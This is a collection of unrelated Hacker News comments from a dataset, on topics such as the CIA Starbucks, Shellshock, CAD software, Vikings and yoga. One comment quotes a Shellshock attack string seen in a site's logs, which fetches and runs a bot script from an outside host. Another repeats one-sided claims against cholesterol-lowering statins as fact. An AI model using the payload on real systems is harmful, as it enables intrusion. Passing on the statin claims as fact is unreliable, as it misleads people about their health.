skysight-inc/HackerNews huggingface dataset:
I have to agree. I like the clean design but I feel like my eyes are fighting with the page. I don't mind any of the colours individually, but all the light thin text beside bring contrasting colours was really hard to digest.
Craig Elias and Jorge Soto Discuss Shift Selling + Startup Selling
Scott Kupor: How to Stay on the Winning Side of Valuation
Ubuntu Touch finalized, first phones coming this year
Do you plan developing Firefox version?
The amount of nonsense which has been written about yoga (Vedanta and Buddhism) is, ironically, matches the amount of nonsense about OOP and Java.)

Yoga, at least according to the yoga sutra of Patanjali is *unity with the whole (That)", through unity of mind and body via breath as a preliminary practice, without which any further "realizations" are impossible (training routine).

Vedanta, which is rather mediocre "systematization" of Upanishads has been profoundly summarized by Ramakrishna - "Wanna see God? Look between two thoughts." (at the source/origin of thoughts). This is enough for realizing one's "true nature" (which is popular culture associated with a ray of light - pure energy).

The essence of Buddha's teaching is "life is shaped by our mind, we become what we think", which directly points to the mind as the ultimate source of all "suffering". (Problems doesn't exist outside one's head. Just physical processes).

There is also Rumi, who had the same realizations, but put them in different words.

The problem with all these fine and subtle teachings is, like Sartre pointed out, "the other people" with their stupid ambitions and flawed actions.

Instead of yoga we have gymnastics (in some cases even acrobatics) and whole industry of yoga pants and joints when they are sited for $30/h. Instead of Vedanta we have the same mysticism, where all the deities are morphed into the one. Instead of Buddhims - tons of narcissistic graphomany published by Snow Lion and the others.

So, no, so-called piece of mind comes not from yoga courses or a crowded retreat, but form realization of being an inseparable part of the whole, of That (or being in accordance with Tao, or "letting God/Love in", etc, etc.) It is in being "in balance" (in Eastern terms), non-contradicting with the whole.

I am guide for Himalaya and Tibet region for a few years now - and I could tell that all the magic and miracles, mantras, mandalas, sacred rituals or any form of shamanism "working" only in the realm of one's mind, and does not exist outside it.)
Well, they get uncomfortable being asked for their name in a context where they are already known to be doing covert work for the CIA. If it was a normal Starbucks where nobody in the room knew about their day job, they probably wouldn't care.
Great read on so many levels! Its accessible writing while getting to the core of such a well-known database.
The RSS tends to co-opt historical figures and revise history to suit their agenda.
A Perfect Response to Bilawal Bhutto’s Kashmir Comment
This completly focuses on finding the cure, but not much effort is spend on finding the cause.

Crude example, should we focus on finding cures for consequences of lead poisoning, instead removing the cause: lead in paint, cosmetics, fuels...
"I'd be willing to bet that they are the most highly-paid baristas in the country."

Rumor also has it that the CIA has the highest-paid trash collectors in the world. (All paper waste is incinerated on-site, and is never touched by anyone who isn't cleared by the organization.)
LSP: two users: an admin, and a common user. CLEARLY we can see these two should not have the same functionality, thus a GOOD design pattern. Yet clearly in violation of LSP. Esplain please.
https://en.wikipedia.org/wiki/London_Post_Office_Railway

They shut it down in 2003...
The wreck is in international waters. In Finland we have a law that prohibits diving to the wreck, but the navy or cost guard can't enforce this against foreigners.

There was some initial plans to cover the wreck, but I don't think that was actually done.
It's the end of an era...
You're only avoiding putting the whole thing on the wire twice.
i'd recommend zookeeper or consul for orchestrating, distributed locks, two- and three-phase commit state, etc. instead of redis if you want to have your transaction state highly available. they both use raft, which is proven, instead of a home-grown mostly-works algorithms (see aphyr's work with jespen).
Better to ask Rob Pike why it doesn't.
Thanks! I get a kick out of exploring all the stuff in Unicode too.
This Intel Forum post entitled "AVX-512 is a big step forward - but repeating past mistakes" addresses some of these issues: https://software.intel.com/en-us/forums/topic/477541

The debate is essentially whether AVX-512 is making a mistake by giving up 8-bit and 16-bit operations. Agner feels it's a mistake, but other smart people argue that it's not a problem.
The human brain is particularly rich in cholesterol: around 25 percent of all body cholesterol is accounted for by the brain. Every cell and every structure in the brain and the rest of our nervous system needs cholesterol, not only to build itself but also to accomplish its many functions. The developing brain and eyes of the fetus and a newborn infant require large amounts of cholesterol. If the fetus doesn’t get enough cholesterol during development, the child may be born with a congenital abnormality called cyclopean eye.

Human breast milk provides a lot of cholesterol. Not only that, mother’s milk provides a specific enzyme to allow the baby’s digestive tract to absorb almost 100 percent of that cholesterol, because the developing brain and eyes of an infant require large amounts of it. Children deprived of cholesterol in infancy may end up with poor eyesight and brain function. Manufacturers of infant formulas are aware of this fact, but following the anti-cholesterol dogma, they produce formulas with virtually no cholesterol in them.

One of the most abundant materials in the brain and the rest of our nervous system is a fatty substance called myelin. Myelin coats every nerve cell and every nerve fiber like the insulating cover around electric wires. Apart from insulation, it provides nourishment and protection for every tiny structure in our brain and the rest of the nervous system. People who start losing their myelin develop a condition called multiple sclerosis. Well, 20 percent of myelin is cholesterol. If you start interfering with the body’s ability to produce cholesterol, you put the very structure of the brain and the rest of the nervous system under threat.

Now, think about statins
As someone who could someday become a customer, here's some knee-jerk advice for your landing page:

- The first screen doesn't "hook" me. Put a background image or product image or something there, and a better punchline.

- I'd eliminate half the text and increase font sizes of item bodies.

- The "What is MorphMail?" section is a bit convoluted. I want to know why it's better than email. How about a side-by-side comparison with a mobile email client?

- The UI shots look very rough and a bit Windows-98-y. I get that those are probably early stage mockups, but I wouldn't consider using an app with this design. To me they are a turnoff, especially when compared to iOS Mailbox or even Gmail.

If that sounds harsh, I apologize (please consider that I wouldn't have taken the time if I didn't care); I wish you the best of luck with your product!
Erase JDK, add emacs, slime and ccl (or sbcl).
I had the same problem. I needed to install patch, make and gcc. So I downloaded the iso from http://old-releases.ubuntu.com/releases/hardy/ and then edited /etc/apt/sources.list so my server would look on the cd for the packages. I could then use 'apt-get install' to install the required programs.
I also found that the 'do' command was throwing up an error. Rather than work out why I just manually downloaded the 26 patches and then manually applied them as well. Yeah ok I'm a noob but it worked.
This. Also like to add that when people talk about a theory being nice or natural, they are saying that they find it easy to compress because it looks in some respects like theories they already know.
How could packed addition help for this task? The project description on GitHub says benchmarking happens on a »Intel Core i5-3340M (oc'ed to 3.0GHz)« so maybe the article is based on numbers from the same machine.
01:41.39	Helsinki Radio You see, someone on channel 16 has had a carrier on the whole night and nothing is going through. I can hear you now though.
Somehow I have never found that essay very convincing.

There is something to be said for clean language design and minimal, a non-distracting editing environment, of course. But the essay doesn't argue the case in any reasoned fashion. It mostly just makes emotional arguments (the talk about training wheels, the example with highlighting fiction, which is over the top).

I have worked with large codebases in plain vi and PFE [1] in my wayward youth. It wasn't exactly what I would call a pleasant experience.

[1] https://en.wikipedia.org/wiki/Programmer%27s_File_Editor
From Acme Faq [1]: "No. The creator of main users of Acme find syntax highlighting unhelpful and distracting."

[1] http://acme.cat-v.org/faq
Minecraft.

On the Java side, if that's the route you wanna go, consider getting the stuff from http://teachingkidsprogramming.org/. Llewellyn Falco took me through some of it at a conference a few years back and it looked pretty nice.

(Disclaimer: Not a Java person, no kids, but have geek-friends-with-kids ;-).
Open Source geometric kernel?

It is called "Open Cascade":
http://www.opencascade.org/

It represent decades of hard work from dozens of programmers.License is LGPL.

Freecad is a very promising tool that uses the power of Opencascade only a little(Opencascade supports things that are way more complex than what freecad does).

Everything in Freecad is a script in python.
Not to mention third-party keyboards are not allowed in password fields. I guess that's unfortunate for anyone with non-standard unicode in their passwords, though.
Erase JDK, add vim and ruby :-)

PS. Look at elementary OS, it have nice look and feel and very lightweight.
A name is just a name. There are about 20 varieties of apoE, most of which are extremely rare, i.e. found in only a handful of families.

ApoE1 is simply rare, and not really relevant to Alzheimer's disease, although it does affect blood cholesterol levels.

http://www.ncbi.nlm.nih.gov/pubmed/?term=22859420
What will we do if the system can no longer create jobs?
This reminds me of the Seinfeld joke:

Jerry: This isn't a good time.

Telemarketer: When would be a good time to call back, sir?

Jerry: I have an idea, why don't you give me your home number and I'll call you back later?

Telemarketer: Umm, we're not allowed to do that.

Jerry: Oh, I guess because you don't want strangers calling you at home.

Telemarketer: Umm, no.

Jerry: Well, now you know how I feel.

[hangs up phone]
The Vikings are an example of history written by the losers. The people who lost the battles (literate Christians) wrote the history. The Vikings didn't have nearly that much writing, so they came off very bad in European history.
fish shell 2.1.1 (Security fixes)
Hey, nice app! Unfortunately it has a bug on my device (iPad Air, iOS 8.0.2) when used in other apps (Notes app here): http://i.imgur.com/TSZZsYz.jpg

The keyboard never shows up, only this blank area. Hope you can fix it, didn't want to spoil your reviews :).
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Does anybody find it annoying that email attachments open externally on a phone?
Don't Talk to Police
https://www.youtube.com/watch?v=6wXkI4t7nuc
I thought you were the one who suggested the IF and ELSE macros in http://canonical.org/~kragen/sw/aspmisc/actor.c. :)

Interestingly, in http://canonical.org/~kragen/sw/dev3/paperalgo, I haven't yet run into the desire to have more than one `case` in a pattern-matching `switch`. I just added that piece of code from Vicissicalc to the paperalgo page.
an intelligence agency. that specializes in proxies. failing sutton's law. who would've guessed..

wait for it..'thanks, your ORDER NUMBER is #'

ta-da!
Using env may be slightly more portable if you're using an exotic login shell that doesn't support the "FOO=1 program" syntax - say, tcsh.

But for most part, it's probably just people copying-and-pasting stuff without really figuring it out what it does. For example, compare "exploit #1" and the supposedly different "exploit #3" on shellshocker.net.
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I believe that Sublime Text is a descendant from Textmate, and therefore uses a single table of recursive regular expressions for syntax highlighting.

It therefore can not distinguish multiple instances of the same thing (different variables) or overlay different highlighting modes on top of one another.
This is basically a copy of my post at http://alblue.bandlem.com and of my stack exchange answer.
AM I BEING DETAINED
I would be so happy if that comittee started removing features instead of adding them. Guidelines like that are just a way of dealing with all the complexity they introduced to C++ over the years.
If Muneeb is charged, any attempts at recruiting hacking talent will be hindered. This could make DHS look very bad if they push this forward.
In C++ , a full virtual computer :
https://github.com/trillek-team/trillek-vcomputer-module
I always give my beautiful wife's name as it's much easier to spell and yell than mine, and slightly less common. It's amazing how many brains seem to process 'Jacob' as either 'Jason' or 'Joseph'.

But I am always tempted to give my name as Primrose Everdeen [1]

[1] http://hungergamesfandom.net/tag/i-volunteer-as-tribute/
There have been investigations and video inspection of the wreck. "Everyone" agrees that the official explanation is correct.

The reason for covering the wreck is that the disaster was a major national catastrophe; if 800+ hadn't died it would never have been considered.

Says Wikipedia:

"In the aftermath of the disaster, many relatives of the deceased demanded that their loved ones be raised from international waters and given a land burial. Demands were also made that the entire ship be raised so that the cause of the disaster could be discovered by detailed inspection.[27][28]

Citing the practical difficulties and the moral implications of raising decaying bodies from the sea floor (the majority of the bodies were never recovered), and fearing financial burden of lifting the entire hull to the surface and the salvage operation, the Swedish government suggested burying the whole ship in situ with a shell of concrete.[29][30] As a preliminary step, thousands of tons of pebbles were dropped on the site.[28] The Estonia Agreement 1995, a treaty among Sweden, Finland, Estonia, Latvia, Poland, Denmark, Russia and the United Kingdom, declared sanctity over the site, prohibiting their citizens from even approaching the wreck.[31]"
At CIA Starbucks, not even the advertorial is called out by name.
And before you believe that your Linux box is any indication of how common a dependency bash is...

I just grepped all the Makefiles in my ports tree for 'shells/bash', and came up with 48 matches. This includes ports that depend on bash at build time, at test time, and at runtime. So for people who just use packages, the number of things that are going to pull in bash (as a runtime dep) is lower than that.

We have many of the same programs you have, but they do not use bash. For example, all your executables that start with xz or lz. I have them, most of them anyway, but they use /bin/sh, not /bin/bash.

I use BSD on the desktop, and out of the three hundred packages I have installed, none have pulled bash in as a dep. I don't have bash, I haven't had it for years.
Regarding your German search terms: you should probably remove charakter (which usually refers to a person's character) and klaviatur (which only refers to the keyboard of musical instruments), and replace "eingang" (entrance) with "eingabe" (input or entry).
Gah, this thing again. I've noticed that happening on a couple of the other custom keyboards, as well - I suspect it may be an actual bug in iOS 8. I was hoping it would be fixed when the GM came out but no dice...

PS thanks for not giving me a one-star review :o)
> There was one catch: Akhter said he was required to sign a statement saying he had created the hack and to show agents that he could actually do it.

It sounds more like DHS caught someone doing social engineering, hired him to help them catch hackers, and this is what he came up with.
To me that is actually a really, really good argument for the conspiracy theory - why go to such lengths to cover it up, if there is nothing to hide?
I have SwiftKey installed and there is an option in the Settings->General->Keyboard->Keyboards->SwiftKey allows me to toggle it on/off:

https://i.imgur.com/RUN4nno.png
Thanks! Just doing this...
I've been watching the new page for a few days and Yahoo! killing Yahoo! Directory has appeared many times, and each time it has gone no where. This is the first time I've seen it on the home page.
pay is meh until you get tenure.

More like if you get tenure, which is increasingly rare nowadays. I think it's a poor gamble.
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The article doesn't mention highlighting the declarations/definitions of types
& variables. I find it far less obtrusive, and more useful, than lexical
highlighting. It's surprisingly easy to do in Emacs, and it works
reasonably well across most language modes. Example screenshots:
http://david.rothlis.net/code_presentation/distracting_synta...
Robust open-source CAD software would clearly fill a niche.

The problem however, is not so much CAD as the schemas for the data that at gets attached to the models...IGES has been around for many decades, but what one engineer needs for FEA is not what the machinist needs for making the die or the Architect for making pretty pictures.
Most Japanese day traders are ex-pachinko players, i.e. degenerate gamblers. Nothing to see here.
Dmoz is still surprisingly productive. Definitely needs to some love though. The only modern directory that I can think of along these lines is the 'Hidden Wiki' for Tor.
The most horrible article I have read at NY Times so far.
Pushing workers to work harder and faster by motivating them with punishment is not about productivity at all. Alienating workers, saying that they "wanted" punishment and backing up all these "business" rhetoric with science is just sick.
I wonder what "state of mind" the author was in when producing this article. Did he also hired the Ivy League College he is working in to help with his "self-control" issues?
And providing workers with a "wellness program" just because it "reduces health costs" was the most chilling part.
We are all human beings, not quantities or rats in a maze.
Any Nvidia card made in the last 5 years will do.
I saw a couple of these hurled against my simple site:

"() { :;}; /bin/bash -c \x22wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\x22"
You're probably right, but there was a least a big reprise of it in 2011 in php - CVE-2011-4885
With AutoCad or any software that exports DXF or IGES, Git or other version control would work fine. Nemetscheck VectorWorks wil export a design file as VectorScript [a super-set of Pascal].
The Yahoo Directory was Yahoo's first product.

This is a stark reminder that very few things last and maybe a point to reflect how Yahoo succeeded and failed to pivot into other directions.

Can you imagine Google terminating Search? Facebook terminating their home page? What else would they do and would they be successful?

In a historical context, back in the day directories were a big deal, it took a long time for search engines to become powerful enough to rival the usability. A piece of the old web is gone now.
(93 days ago) [Ask HN] Material Design Bootstrap Theme https://news.ycombinator.com/item?id=7953042
History channel's "Vikings" is actually a quite good remedy for your GoT withdrawals. As a Dane, and even after reading this article, I find the series very accurate, only embellished in obvious places (blood eagle, mushrooms etc).

At the least they got the scandinavian personality traits right.
are there ISO standards for computer security ?
> I'm absolutely positive that fastcgi_params does indeed clobber $_ENV with attacker supplied data if PHP is configured as described above.

This is irrelevant. There is no known hole with global variables containing untrusted data.

> I am less strongly confident that some configurations of PHP will allow $_ENV to get to at least some subprocesses.

This could be relevant, if it is indeed passed in the environment.

However I can find no reference in the PHP documentation to this. That does not count for much, admittedly, and I am not very fluent in PHP. If this is real then it is a problem for many people so please share.

> I'm aware of a PHP command which the documentation suggests defaults to passing $_ENV as actual environment variables to subprocesses

Please spell it out already. I've been testing for the better part of two hours to find what you are alluding to, but I have no idea if I'm wasting my time or not.
Hiding something does not equal a conspiracy theory. I mean, do you believe that behind every door there is a conspiracy? Do clothes equal a conspiracy to hide the human body? Is covering a seed with soil a conspiracy to hide seeds? If you think yes, than please tell us what you think a conspiracy is. Or are people just trying to protect property, keep warm and grow plants? Maybe they are conspiring to protect property with carpenters?

In this case, I think its reasonable to thing that covering up the ship and bodies are to protect dignity.
I would still call it history written by the winners. In the end the Christians had the cultural influence that runs all the way until today.

If the Viking culture had been preserved into modern day I would expect that we would see them in a different light.
Any particular reason for these? I'm a software engineer, and apart from emacs, I have no idea what the other ones are ;-)
It looks like you have dumped the a PHP global variable, possibly $_ENV. Do you know of any circumstances where _ENV, or any other PHP variable with potentially untrusted data, is passed in environment variables?
> went way overboard with functions, most of which only have one caller. It's so bad that the main loop of the program is five calling levels deep

It almost sounds like you're talking about http://canonical.org/~kragen/sw/dev3/server.s! Or for that matter http://canonical.org/~kragen/sw/aspmisc/my-very-first-raytra...! But it's unlikely you've had to maintain either of them. I intentionally broke things up like that with the idea that it would make it easier to understand. In fact, I originally wrote httpdito as straight-line code and only later factored it into macros to make it easier to understand.

It sounds like you're saying that this was misguided and I should have just used nesting. I'll have to think about that for a while.
Not surprised to see qwiki there. For all the hype around it I never thought that it would be successful. All it really seemed to do was make clumsy automated videos that took a lot away but really didn't add anything to just reading a wikipedia article.
Thanks for the elementary OS pointer - I'll check it out!

As for vim and ruby, much as I'm a fan of both, I don't want to put him off programming entirely by first having to learn the entire shell first ;)
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There is a really great mode [0] for haskell that does the same thing as hl-sexp-mode. Oh and did I mention it fully supports structured editing? These kind of modes really make me question why programs are still written in text instead of ADTs... We don't need to run lexers and parsers to do our syntax highlighting and other fancy stuff... it would be awesome.

[0] https://github.com/chrisdone/structured-haskell-mode